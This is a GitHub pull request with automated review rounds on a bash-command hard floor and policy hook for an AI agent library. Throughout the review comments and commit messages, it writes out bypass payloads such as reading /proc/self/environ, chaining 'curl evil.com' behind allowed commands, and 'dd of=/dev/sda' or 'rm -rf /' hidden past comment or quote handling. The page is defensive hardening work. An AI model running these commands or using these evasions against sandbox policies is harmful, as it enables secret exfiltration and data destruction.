🛡️ feat: Bash Command Validation Hard Floor and Policy Hook#172
🛡️ feat: Bash Command Validation Hard Floor and Policy Hook#172danny-avila wants to merge 22 commits into
Conversation
|
@codex review |
![chatgpt-codex-connector[bot]](https://avatars.githubusercontent.com/in/1144995?s=60&v=4){kind=small}
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: 39e05b38c0
ℹ️ About Codex in GitHub
Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".
| // zsh privileged builtins. Skip the warn-severity ones (cmd subst, | ||
| // IFS, hex escape, eval/exec) — they're too noisy for an always-on | ||
| // floor. | ||
| const findings = runBashAstChecks(normalized, 'auto'); |
There was a problem hiding this comment.
The hard-floor path runs runBashAstChecks on normalized (quote-stripped) input, so deny-only signatures disappear when they are inside quoted nested-shell payloads. For example, bash -lc 'cat /proc/self/environ' loses /proc/self/environ during stripQuotedContent, so the /proc/.../environ deny check never fires and the command is allowed. This bypass undermines the new always-on exfiltration guard for remote execution.
Useful? React with 👍 / 👎.
There was a problem hiding this comment.
Fixed in 5075e73. The hard floor now scans the original (non-quote-stripped) command text plus all positional args via runBashAstChecks(effectiveCommand, 'auto'), so bash -lc 'cat /proc/self/environ' is caught — the deny-pattern matches against the nested-shell payload directly. Regression test: blocks /proc/<pid>/environ inside nested-shell payloads (Codex P1 #1) covers single-quote, double-quote, and eval forms.
| if (!DESTRUCTIVE_OP_IN_COMMAND_RE.test(command)) return undefined; | ||
| return args.find((a) => PROTECTED_TARGET_ARG_RE.test(a)); |
There was a problem hiding this comment.
findOffendingArg only inspects args when the command matches destructive ops (rm/chmod/chown), so hard-floor exfiltration checks can be bypassed by moving sensitive paths into $1/$2. A call like command: 'cat "$1"', args: ['/proc/self/environ'] bypasses both the regex and AST deny checks (AST sees only $1) and still reads environment secrets. The hard floor should apply sensitive-path arg checks independently of destructive-op detection.
Useful? React with 👍 / 👎.
There was a problem hiding this comment.
Fixed in 5075e73. The hard floor now scans an "effective command" = command + args.join(' '), so command: 'cat "$1"', args: ['/proc/self/environ'] matches the proc-environ deny pattern via the appended arg text. The findOffendingArg check (destructive-op-coupled, for protected-root targets) is kept as-is — it's correct for the rm -rf "$1" + ['/'] shape and the new AST-on-effective-command pass covers the exfil class independently. Regression test: blocks /proc/<pid>/environ smuggled via positional arg (Codex P1 #2).
|
@codex review |
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: 5075e7350a
ℹ️ About Codex in GitHub
Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".
| if (command.length === prefix.length) return true; | ||
| const next = command.charAt(prefix.length); | ||
| // Boundary chars: whitespace or shell-statement separators. | ||
| return /[\s;&|<>]/.test(next); |
There was a problem hiding this comment.
Tighten :* matching so it only accepts whitespace/end-of-command after the prefix. Right now compilePattern treats ;, &, |, <, and > as valid boundaries, so an allow rule like git:* also allows chained payloads such as git status; curl ... or git && rm .... In an allowlist posture (default: 'deny'), this is a policy bypass because the first token satisfies the rule while subsequent commands still execute in the same shell.
Useful? React with 👍 / 👎.
There was a problem hiding this comment.
Fixed in a64650e. Prefix :* patterns now refuse to match any command containing a shell separator (;, &, |, <, >, or backtick) outside quoted spans. A new quote-aware containsShellSeparator scan runs before the prefix test, so git:* no longer matches git status; curl evil.com or git status && rm -rf /tmp etc. — hosts that want chained commands authorize each segment explicitly. Regression test: prefix match: shell separators do NOT count as boundary (Codex P1 round-2) covers ;, &&, |, >.
| args != null && args.length > 0 ? `${command} ${args.join(' ')}` : command; | ||
| const findings = runBashAstChecks(effectiveCommand, 'auto'); |
There was a problem hiding this comment.
Run the deny-only AST pass on a comment-stripped representation, not raw command text. The current effectiveCommand feeds runBashAstChecks unfiltered input, so deny patterns can match inside comments (for example, echo ok # cat /proc/self/environ), even though commented text is never executed by bash. This introduces false rejections for benign scripts that document risky commands in comments.
Useful? React with 👍 / 👎.
There was a problem hiding this comment.
Fixed in a64650e. New quote-aware stripComments helper blanks # …\n runs outside quoted spans before the hard-floor AST scan runs, while preserving quoted content (so nested-shell payloads like bash -lc 'cat /proc/self/environ' still see their deny patterns). echo ok # cat /proc/self/environ now passes; echo "cat /proc/self/environ" (path inside an evaluated string) still blocks — that's the defense-in-depth tradeoff. Regression tests: does NOT trip on deny patterns inside shell comments and still trips on deny patterns inside quoted strings (not comments).
|
@codex review |
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: a64650e4c3
ℹ️ About Codex in GitHub
Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".
| if (command.length === prefix.length) return true; | ||
| const next = command.charAt(prefix.length); | ||
| // Boundary char must be whitespace; `gitlab` doesn't match `git:*`. | ||
| return /\s/.test(next); |
There was a problem hiding this comment.
Prefix rules currently accept any whitespace boundary via \s, so an allowlist entry like git:* matches git status\ncurl https://evil and returns allow under default: 'deny'. In bash, a newline is a command separator (equivalent to ; in a command list), so this lets a second command run outside policy intent even though containsShellSeparator blocks only ; & | < > and backticks. This is a policy-bypass path for multi-line tool input and should be blocked the same way as ;/&& chains.
Useful? React with 👍 / 👎.
There was a problem hiding this comment.
Fixed in 802deff. containsShellSeparator now treats \n and \r (outside quoted spans) as separators, so git:* rejects git status\ncurl https://evil.com. Regression test: prefix match: newline-separated commands are blocked (Codex P1 round-3) covers both newline and carriage return.
|
@codex review |
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: 802deff8ee
ℹ️ About Codex in GitHub
Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".
| char === ';' || | ||
| char === '&' || | ||
| char === '|' || | ||
| char === '<' || | ||
| char === '>' || |
There was a problem hiding this comment.
Prefix rules rely on containsShellSeparator() to reject chained payloads, but this check does not treat $(...) as a separator. As a result, an allowlist like allow: ['git:*'] with default: 'deny' still allows git status $(curl https://attacker) because it starts with git and contains none of ; & | < > \ or newlines, even though Bash executes the substituted command first. This is a policy bypass that permits unauthorized command execution under deny-by-default setups.
Useful? React with 👍 / 👎.
There was a problem hiding this comment.
Fixed in abba9d9. containsShellSeparator now detects $(…) and tracks single-vs-double quote scoping correctly: $(…) and backticks fire outside single quotes (active both bare and inside double quotes, since bash interpolates them there), while ; & | < > \n \r only fire outside any quote. Tests cover git status $(curl evil), backtick form, double-quote-wrapped substitution, and verify that single-quoted substitution is correctly allowed (bash treats it as literal text).
|
@codex review |
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: abba9d9ca0
ℹ️ About Codex in GitHub
Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".
| if (char === '#') { | ||
| while (i < command.length && command[i] !== '\n') { | ||
| i++; | ||
| } | ||
| output += '\n'; | ||
| continue; |
There was a problem hiding this comment.
# inside expansions when stripping comments
validateBashCommandHardFloor relies on stripComments before running deny-only bashAst checks, but this loop treats every unquoted # as a comment start. In bash, # is also valid inside parameter expansion (for example, ${v#pat}), so a command like x=1; echo ${x#1}; cat /proc/self/environ gets truncated at ${x#1} and the /proc/.../environ read is never scanned, bypassing the hard-floor exfiltration block on the remote /exec path.
Useful? React with 👍 / 👎.
There was a problem hiding this comment.
Fixed in 125ff68. stripComments now tracks ${…} depth (so # inside parameter expansion stays literal) and only treats # as a comment at word boundaries (start-of-input or after whitespace/separator) — cat#foo is one word, not cat plus a comment. Regression tests cover x=1; echo ${x#1}; cat /proc/self/environ, the ${var##*foo} greedy variant, and echo cat#hello; cat /proc/self/environ.
|
@codex review |
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: 125ff68383
ℹ️ About Codex in GitHub
Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".
| if (char === '\\') { | ||
| escaped = true; | ||
| continue; |
There was a problem hiding this comment.
The separator scanner treats \ as an escape even inside single quotes, so it can miss real command separators and allow policy bypasses. For example, with allow: ['git:*'] and default: 'deny', git status 'abc\\'; curl https://evil.com is matched as allowed because the parser never closes the single-quoted span, even though Bash does close it (backslash is literal in single quotes) and executes the trailing curl. This means chained commands can slip past deny-by-default policies.
Useful? React with 👍 / 👎.
There was a problem hiding this comment.
Fixed in 601b8f4. Reordered containsShellSeparator so the single-quote check runs BEFORE the escape handler — nothing escapes inside single quotes, only the closing ' matters. git status 'abc\'; curl https://evil.com now correctly detects the ; separator after bash closes the quote. Regression test: prefix match: backslash is literal inside single quotes (Codex P1 round-6) covers the exfil shape and verifies the legitimate non-chained case still matches.
| const exact = pattern.replace(/\s+/g, ' ').trim(); | ||
| return { | ||
| source, | ||
| test: (command: string): boolean => | ||
| command.replace(/\s+/g, ' ').trim() === exact, |
There was a problem hiding this comment.
Exact-match rules currently collapse all whitespace via /\s+/, which includes newlines and carriage returns. That makes an exact allow rule like npm test also match npm\ntest, even though newline is a shell command separator rather than ordinary spacing. In deny-by-default setups this unintentionally authorizes multi-command input under an exact rule; exact matching should preserve or explicitly reject line separators.
Useful? React with 👍 / 👎.
There was a problem hiding this comment.
Fixed in 601b8f4. Exact-match normalization now collapses space + tab only ([ \t]+), preserving newlines so npm\ntest no longer collapses to npm test. Also added a containsShellSeparator gate before exact comparison so any chained / substituted input is refused regardless of how the visible token would collapse. Regression test: exact match: refuses newline-separated input (Codex P2 round-6) covers \n, \r, and ; curl evil suffix forms, plus sanity-checks that multiple spaces and tabs still match.
|
@codex review |
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: 601b8f4445
ℹ️ About Codex in GitHub
Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".
| if (typeof toolInput.code === 'string' && toolInput.lang === 'bash') { | ||
| return toolInput.code; |
There was a problem hiding this comment.
createBashPolicyHook documents that toolNames can include run_tools_with_bash, but extractCommand only returns toolInput.code when toolInput.lang === 'bash'. That tool’s schema uses { code } without a lang field, so policy evaluation falls through command == null and returns allow for every call. In a default: 'deny' or denylist posture, this becomes a full bypass for programmatic bash execution.
Useful? React with 👍 / 👎.
There was a problem hiding this comment.
Fixed in 6fd7298. extractCommand now branches on toolName: bash_tool uses { command }, run_tools_with_bash uses { code } (no lang field), execute_code uses { code } only when lang === 'bash' (so non-bash code on EXECUTE_CODE doesn't get evaluated against bash rules). Regression test extracts code from run_tools_with_bash (Codex P1 round-7) covers the deny-pattern + default-deny cases. Also fixed an existing test that was sending { command } for BASH_PROGRAMMATIC_TOOL_CALLING — it only passed because the prior extractor blindly checked command first.
| `\\brm\\s+(?:-[^\\s]*[rf][^\\s]*\\s+|-[^\\s]*[r][^\\s]*\\s+-[^\\s]*[f][^\\s]*\\s+)(?:--\\s+)?${DESTRUCTIVE_TARGET}\\s*(?:$|[;&|])` | ||
| ), | ||
| /\b(?:mkfs|mkswap|fdisk|parted|diskutil)\b/, | ||
| /\bdd\s+[^;&|]*\bof=\/dev\//, |
There was a problem hiding this comment.
The hard-floor dd rule only matches of=/dev/... in the quote-stripped string, so commands like dd if=/dev/zero of='/dev/sda' evade this check because stripQuotedContent removes the quoted path before regex matching. Since the remote hard floor is intended to block disk-tampering utilities categorically, this leaves an easy bypass for a dangerous operation.
Useful? React with 👍 / 👎.
There was a problem hiding this comment.
Fixed in 6fd7298. Added a quoted-dd companion to quotedDestructivePatterns (which runs against the ORIGINAL command, not the quote-stripped form): \bdd\s+[^;&|]*\bof=[\"']\/dev\/. Catches dd if=/dev/zero of='/dev/sda', dd if=/dev/zero of=\"/dev/sda\", and dd bs=1M if=/tmp/in of=\"/dev/nvme0n1\". Mirrors the existing rm/chmod/chown quoted-variant pattern. Regression test: blocks dd with quoted device target (Codex P1 round-7).
|
@codex review |
|
Codex Review: Didn't find any major issues. Another round soon, please! ℹ️ About Codex in GitHubYour team has set up Codex to review pull requests in this repo. Reviews are triggered when you
If Codex has suggestions, it will comment; otherwise it will react with 👍. Codex can also answer questions or update the PR. Try commenting "@codex address that feedback". |
Shared synchronous bash validator used by both the local engine and the
remote `BashExecutor`, plus a `PreToolUse` policy hook with an
allow/deny/ask DSL.
- New `src/tools/local/bashValidation.ts`. Two entry points:
- `validateBashCommandHardFloor` — always-on for the remote `/exec`
path. Blocks `rm -rf` against protected roots (incl. quoted, nested-
shell, and positional-arg variants), disk-tampering utilities
(`mkfs`, `dd of=/dev/…`, `fdisk`), fork bombs, `/proc/<pid>/environ`
reads (sandbox env exfil), `source $UNBOUND_VAR`, and zsh privileged
builtins. Not bypassable by config — the host doesn't own the remote
sandbox.
- `validateBashCommandStatic` — full regex + bashAst pass; consumed by
the local engine and by `BashExecutor`'s opt-in
`validation: 'auto' | 'strict'` mode.
- `LocalExecutionEngine.ts` refactored to delegate to the shared module.
Regex bodies and the positional-arg check are no longer duplicated.
- `BashExecutor.ts`: hard floor runs unconditionally before the `/exec`
POST; opt-in `validation` field on `BashExecutionToolParams` layers
the static pass on top.
- New `createBashPolicyHook` (mirrors `createWorkspacePolicyHook`).
DSL: `"git:*"`, `"npm test"`, `"rm -rf:*"`, `"*"`. Evaluation
`deny > ask > allow > default`. Integrates with HITL via the existing
`'ask'` flow.
Bonus fixes uncovered while exercising the local-engine tests:
- `handleChunk` overflow leak: once `overflowKilled` was set, the first
chunk returned but subsequent chunks still fell through to
`ensureSpill()`. A fast-output child (`yes`) that ignores SIGTERM
could write 5–20 GiB to a temp file during the 2s SIGTERM→SIGKILL
escalation window. Drop every post-kill chunk.
- Spill-file lifetime: spill files in `tmpdir()` outlived the Node
process forever (accumulated GiBs of orphans on CI runners and dev
machines). Add a per-process registry, clean on `process.on('exit')`,
expose `_resetLocalEngineSpillFilesForTests` for callers that want
eager cleanup.
Tests: 43 new (29 BashExecutor floor/static/opt-in; 14 policy hook DSL).
The remote `BashExecutor` hard floor ran `runBashAstChecks` on the quote-stripped form, leaving two exfil bypasses for the `/proc/<pid>/environ` deny check: 1. Nested-shell payloads — `bash -lc 'cat /proc/self/environ'` had `stripQuotedContent` blank the inner payload to whitespace before the AST scan, so the deny pattern never matched. 2. Positional-arg exfil — `command: 'cat "\$1"', args: ['/proc/self/environ']` evaded the `findOffendingArg` check because that only fires when the command also matches `rm/chmod/chown`, and the AST scan never saw `/proc/self/environ` at all. Single fix for both: scan an "effective command" assembled from the raw command text plus every positional arg, against the ORIGINAL (non-quote-stripped) form. The deny patterns are narrow enough (`/proc/<pid>/environ`, `source $VAR`, zsh privileged builtins) that running on the original gives effectively zero false-positive risk in production workloads. Two regression tests covering both bypass shapes.
…und 2) Two follow-ups from the second codex review pass: - `createBashPolicyHook` prefix `:*` matched commands that contained shell separators (`;`, `&`, `|`, `<`, `>`, backticks), so an allow rule like `git:*` matched `git status; curl evil.com` — the first token satisfied the rule and bash still ran the trailing command (Codex P1 round-2). Prefix patterns now refuse to match any command with a shell separator outside quoted spans; hosts that want chained commands authorize each segment explicitly (or use `*` / exact rules). Quote-aware separator scan handles `cat "file with ; in name"` correctly. - Hard-floor AST scan ran on the raw command text after the round-1 fix, so commented mentions of deny patterns false-positived (`echo ok # cat /proc/self/environ` got rejected though bash never runs that text — Codex P2 round-2). New `stripComments` helper blanks `# …\n` runs outside quoted spans while preserving quoted content (so nested-shell payloads inside `bash -lc '…'` are still visible to the AST scan). Three new regression tests: - `prefix match: shell separators do NOT count as boundary` - `does NOT trip on deny patterns inside shell comments` - `still trips on deny patterns inside quoted strings (not comments)`
`containsShellSeparator` didn't include `\n`/`\r`. Bash treats newlines as command separators equivalent to `;`, so an allow rule like `git:*` matched `git status\ncurl https://evil.com` — the post-prefix `\n` satisfied the `\s` boundary, and the separator scan missed it, so bash ran the trailing curl unauthorized in an allowlist posture. Add `\n` and `\r` (outside quoted spans) to the separator scan, with a regression test covering newline, carriage-return, and the canonical exfil shape.
`containsShellSeparator` didn't detect `$(…)` at all, so an allowlist rule like `git:*` with `default: 'deny'` still authorized `git status $(curl https://attacker)` — bash runs the substituted command before `git` sees its expanded args. Also fixed a related quote-scoping bug: the previous implementation treated `"…"` contents as fully literal, so `"$(curl evil)"` and `"\`curl evil\`"` slipped through too. Single quotes correctly suppress all expansion, but double quotes still interpolate `$()` and backticks. Split quote handling: `$(…)` and backticks are active outside single quotes (i.e. outside any quote OR inside double quotes); other separators (`; & | < > \n \r`) stay restricted to outside-any-quote. Regression tests cover unquoted, double-quoted, and single-quoted substitution forms.
`stripComments` treated every unquoted `#` as a comment start, so
`${var#prefix}` parameter expansion truncated the rest of the
command — bypassing the hard-floor exfil guard. Example:
`x=1; echo ${x#1}; cat /proc/self/environ` lost the proc-environ read
to the comment-strip.
Two fixes layered:
1. Track `${…}` depth and treat `#` inside parameter expansion as
literal (it's the expansion operator, not a comment).
2. `#` is a comment marker only at word boundaries — start-of-input
or after whitespace/separator. `cat#foo` is one word; `cat #foo`
is `cat` plus a comment.
Two regression tests: `${var#prefix}` and `${var##*foo}` (greedy
prefix removal) shapes, plus a mid-word `#` test ensuring `cat#hello`
doesn't blank everything after.
Two bypasses in `createBashPolicyHook`: - `containsShellSeparator` processed the `\` escape BEFORE checking the active quote, so `git status 'abc\'; curl https://evil.com` never closed the single-quoted span in our scanner. Bash actually DOES close it (backslash is literal in single quotes), so the trailing curl ran unauthorized under an allowlist rule. Move the single-quote check ahead of the escape handling — inside single quotes nothing escapes, only the closing `'` matters. (Codex P1) - Exact-match rules collapsed `/\s+/` (including `\n` and `\r`), so an allow rule like `"npm test"` matched `npm\ntest` — multi-line input bash would split into two commands. Switch the exact normalization to `[ \t]+` (space + tab only) and gate it on the same `containsShellSeparator` check the prefix rule uses, so any chained / substituted input is refused regardless of how it collapses. (Codex P2) Three regression tests cover the single-quote backslash exfil shape, the legitimate single-quote arg case (still allowed), and exact- match newline / CR / chained-suffix forms.
Two unrelated P1 bypasses:
- `extractCommand` required `lang === 'bash'` to use `toolInput.code`,
but `run_tools_with_bash` (BASH_PROGRAMMATIC_TOOL_CALLING) has no
`lang` field — its schema is `{ code, timeout? }`. The hook fell
through `command == null` and returned `allow` for every call,
fully bypassing `default: 'deny'` policies. Extractor now branches
on `toolName` so each bash-shaped tool gets the right input field
(`command` for `bash_tool`, `code` for `run_tools_with_bash`,
`code` only when `lang === 'bash'` for `execute_code`).
- `dd if=/dev/zero of='/dev/sda'` evaded the dd guard because
`dangerousCommandPatterns` runs on the quote-stripped form, which
blanks the device path. Companion `dd … of=["']/dev/…` pattern
added to `quotedDestructivePatterns` (which runs on the original
command), mirroring the existing rm/chmod/chown quoted variants.
Updated the existing "toolNames widens the gate" test to use the
correct `{ code }` shape (the previous test was technically wrong —
it passed `{ command }` for BASH_PROGRAMMATIC_TOOL_CALLING and only
worked because the extractor blindly checked `command` for any tool).
New tests cover the run_tools_with_bash deny + default-deny posture
and the single-/double-quoted `dd of=` forms.
Adds `src/scripts/bash_policy_live.ts`, mirroring the `session_live.ts` pattern introduced in #164. Drives a real LLM through `createAgentSession` with the local bash tool auto-bound and (optionally) `createBashPolicyHook` registered, so a single end-to-end script exercises: - Session lifecycle and JSONL persistence (#164 surface) - Tool auto-binding via `toolExecution.engine: 'local'` - PreToolUse hook dispatch (`createBashPolicyHook`) - Static validator + hard-floor rejection path - Actual bash spawn on the happy path Three scenarios: - `runHardFloorScenario` — asks the agent to read `/proc/self/environ`; expects the deny finding to surface in the tool message (validator catches it before spawn). - `runPolicyDenyScenario` — registers `deny: ['rm:*']`, asks for an `rm` command, expects the policy hook to refuse before the tool fires; reason template surfaces in the agent transcript. - `runHappyPathScenario` — pure-allowlist policy, requests `echo SAFE_BASH_OK`, asserts the marker is in the tool output and the JSONL store recorded user + ai + tool messages. A `PASSTHROUGH_INSTRUCTIONS` system prompt frames the agent as a test passthrough so the validation pipeline (not the LLM's safety training) decides the outcome. Run: npx tsx src/scripts/bash_policy_live.ts npx tsx src/scripts/bash_policy_live.ts --provider openai Gated on `ANTHROPIC_API_KEY` / `OPENAI_API_KEY` — not part of jest.
danny-avila
force-pushed
the
claude/dreamy-kapitsa-06a93d
branch
from
6fd7298 to
1132808
Compare
Adds `runMultiTurnStressScenario` to the live smoke script — one `AgentSession`, six `.run()` calls, mixed allow / policy-deny / hard-floor / default-deny / recovery pattern. Six turns produce 24 accumulated JSONL messages on the active branch, confirming: - Hook registry re-fires per turn (no stale state across runs) - Static validator + bashAst pass re-runs per call - Agent recovers after denials and the next allowlist hit still flows through normally (turn 6 echo RECOVERY_OK after four consecutive deny/floor outcomes) - JSONL accumulates monotonically — final active-message path contains 24 entries Behavioral truth confirmed by the run: when both layers WOULD block the same command, the PreToolUse hook fires first (the floor lives in the tool body and only runs after the hook permits). Turn 4 puts `cat:*` on the allow-list specifically so the policy permits `cat /proc/self/environ` and the hard floor catches it — proves defense-in-depth still fires when the host's policy lets a floor-trigger through. Live run (gpt-4.1-mini, OpenAI): [PASS] turn 1 (allowlist exact) → echo TURN_1_OK [PASS] turn 2 (allowlist prefix) → ls -la [PASS] turn 3 (policy deny rm:*) → policy hook reason surfaces [PASS] turn 4 (hard floor /proc/..) → [bashAst:proc-environ-read] [PASS] turn 5 (default deny) → policy default fires [PASS] turn 6 (recovery after denies) → echo RECOVERY_OK [PASS] JSONL accumulation → 24 entries across 6 turns [PASS] active-message path → 24 messages
The prior live script only used `.run()` and `.getSessionStore()` — a thin slice of the AgentSession DX added in #164. Adds three scenarios that meaningfully cross-test both areas: - `runStreamScenario` — drives a bash call through `session.stream()` + `.toTextStream()` + `.finalResult()`. Asserts the tool output marker reaches the JSONL store AND the text stream produced chunks. Confirms the streaming code path through `Run` (different from `.run()`) keeps bash validation intact. - `runForkScenario` — runs `echo BASE_TURN_A`, captures the first fork point, runs `echo BASE_TURN_B`, then `.fork(forkPoint, { position: 'before' })` to a new branch. Runs `echo FORK_BRANCH_OK` on the fork. Asserts: fork has its own JSONL path, fork's active-message text does NOT contain `BASE_TURN_B`, and bash validation runs on the forked session too. - `runResumeScenario` — runs `echo PRE_RESUME_OK` on a session backed by a JSONL path, then spawns a fresh ephemeral session and calls `.resumeSession(path)`. Replays the messages, then runs `echo POST_RESUME_OK` AND a `rm` (which the resumed-session's hook should still deny). Asserts: replay restored the original message count, the post-resume turn ran, AND the deny rule fired on the resumed session — proving PreToolUse hooks re-attach correctly across the resume boundary. Live run (gpt-4.1-mini): [PASS] stream() pipe with bash validation [PASS] fork() with bash validation isolates branches [PASS] resumeSession() + bash validation → pre=4 → post=12 messages, deny rule still fires Combined with the existing three single-turn + multi-turn scenarios, the script now exercises: `createAgentSession`, `.run`, `.stream`, `.toTextStream`, `.finalResult`, `.fork`, `.resumeSession`, `.getSessionStore`, store `.getEntries / .getMessages / .getForkPoints / .path`. Not yet exercised (lower priority for the bash-validation cross-test): `.clone`, `.branch`, `.compact`, `.getLatestCheckpoint`, checkpointing.
Two more scenarios covering the higher-interaction parts of the AgentSession DX from #164: - `runCompactScenario` — runs 2 safe bash calls + 1 denied call, then `session.compact({ retainRecentTurns: 0 })` collapses everything into a system summary. After compact: a safe `echo POST_COMPACT_OK` runs, and `rm -rf /tmp/x` is still denied by the policy hook. Confirms compaction doesn't drop the hook registry or confuse the static validator (which runs on the new `command`, not on prior summary text). - `runBranchScenario` — runs `echo BASE_TURN_BEFORE_BRANCH`, then `echo BASE_TURN_LATER`, then `session.branch(forkPoint, { position: 'before', summarizeAbandoned })` switches to an alternate branch in-place. Confirms: bash validation still fires on the new branch (`echo ALT_BRANCH_OK` succeeds, `rm` is still denied), abandoned-branch text doesn't leak into the active path, and the summarizeAbandoned compaction entry is recorded. Live run (gpt-4.1-mini, OpenAI): [PASS] compact() preserves validator + hook → compacted 12→1 msgs; post-compact safe ran + deny fired [PASS] branch() preserves validator + hook on alternate path → 9 messages on active branch; deny rule still fires The script now exercises every interaction-heavy method on AgentSession: run, stream, fork, branch, compact, resumeSession, plus the JSONL store accessors. `.clone()` and `.getLatestCheckpoint()` remain unexercised — both are simpler (clone duplicates a store; getLatestCheckpoint is a read-only accessor). Total: 13 scenarios.
Closes the remaining gaps in #164 DX coverage from the bash-policy live script. Three new scenarios: - `runCheckpointingScenario` — `checkpointing: true` plus three bash turns (allow / deny / allow). After each turn, `getLatestCheckpoint()` returns the session's threadId; the JSONL accumulates ≥3 checkpoint entries; the checkpointId advances (proves it's not stuck on initial state). Confirms a policy denial in the middle doesn't break checkpoint advancement. - `runMultiAgentScenario` — direct edge `A → B`. Both agents share the run-level `toolExecution: 'local'` (auto-binds the bash tool to each) and the same `HookRegistry`. Each agent is instructed to call `bash_tool` with its own marker; both must show up in tool messages. Confirms hooks are per-Run (not per-agent), so the policy gates ALL agents in a multi-agent graph, not just the first. - `runSubagentScenario` — supervisor delegates via `subagentConfigs` to a child agent. Both have access to `bash_tool`. Supervisor produces `SUBAGENT_PARENT_OK`; child produces `SUBAGENT_CHILD_OK` via its own bash call. Confirms bash validation reaches the subagent's nested Run scope (a security-critical guarantee — if hooks didn't propagate, a denied command could slip through inside a subagent). Live run (gpt-4.1-mini, OpenAI): [PASS] checkpointing: true advances per bash turn → 3 JSONL checkpoint entries; latest=1f14fa72-… [PASS] multi-agent direct edge with bash validation → agents A+B each ran echo through bash_tool; 4 AI turns [PASS] subagent delegates bash through validator + hook → child ran echo; supervisor summarized Total 16 scenarios. Remaining unexercised: `.clone()` (trivial duplicate-of-fork mechanics) — keeping it off the script.
|
@codex review |
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: 2c2210e66c
ℹ️ About Codex in GitHub
Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".
| const effectiveCommand = | ||
| args != null && args.length > 0 | ||
| ? `${stripped} ${args.join(' ')}` | ||
| : stripped; |
There was a problem hiding this comment.
The hard-floor exfiltration check can be bypassed by splitting a forbidden path across positional args, because it appends args with spaces (args.join(' ')) before running runBashAstChecks. For example, command: 'cat "$1$2"' with args: ['/proc/self', '/environ'] executes a read of /proc/self/environ, but the validator only scans ... /proc/self /environ and misses the deny pattern. This weakens the new always-on remote /exec protection specifically for the positional-arg path-smuggling case the change is trying to block.
Useful? React with 👍 / 👎.
There was a problem hiding this comment.
Fixed in 9ed8614. Hard-floor AST scan now runs against BOTH args.join(' ') AND args.join(''), with finding-code dedup. So command: 'cat "$1$2"', args: ['/proc/self', '/environ'] reassembles to /proc/self/environ in the raw-joined candidate and the deny regex matches. Regression test blocks /proc/<pid>/environ split across positional args (Codex P1 round-9) covers slash-boundary, mid-word, and three-way splits.
The hard-floor AST scan joined positional args with `' '` (spaces),
so a path split across args was not visible to the deny regex even
though bash concatenates them at runtime. Concrete bypass:
command: 'cat "$1$2"',
args: ['/proc/self', '/environ']
Bash expands `$1$2` to `/proc/self/environ` and reads the sandbox
env vars. The pre-fix scan saw `... /proc/self /environ` (space
between) and the `/proc/<pid>/environ` deny regex missed.
Fix: build candidate scan inputs for BOTH `args.join(' ')` AND
`args.join('')` and run `runBashAstChecks` against each, deduping
finding codes via a Set. The raw-joined form reassembles paths
split across any number of args (slash boundary, mid-word boundary,
three-way splits — all covered by the new regression test).
False-positive note: legitimate `cat "$1" "$2"` + `args:
['/proc/self', '/environ']` would now also trip the floor. Documented
as an acceptable tradeoff — the deny patterns are narrow, such
workloads are unusual, and refusing is cheaper than the real exfil
shape slipping through.
Tests: `blocks /proc/<pid>/environ split across positional args
(Codex P1 round-9)` covers three split shapes (slash boundary,
mid-word, three-way). All 57 hooks+validation tests pass.
|
@codex review |
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: 9ed861494c
ℹ️ About Codex in GitHub
Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".
| if (char === '#') { | ||
| while (i < command.length && command[i] !== '\n') { | ||
| output += ' '; | ||
| i++; | ||
| } |
There was a problem hiding this comment.
stripQuotedContent treats every unquoted # as the start of a comment, but in bash # only starts a comment at a word boundary. This lets destructive commands evade matchAnyDestructive when they are placed after a mid-word hash, e.g. echo foo#bar; rm -rf /: the rm segment is stripped before regex validation, so the new hard-floor path in BashExecutor can allow a command it is meant to block.
Useful? React with 👍 / 👎.
There was a problem hiding this comment.
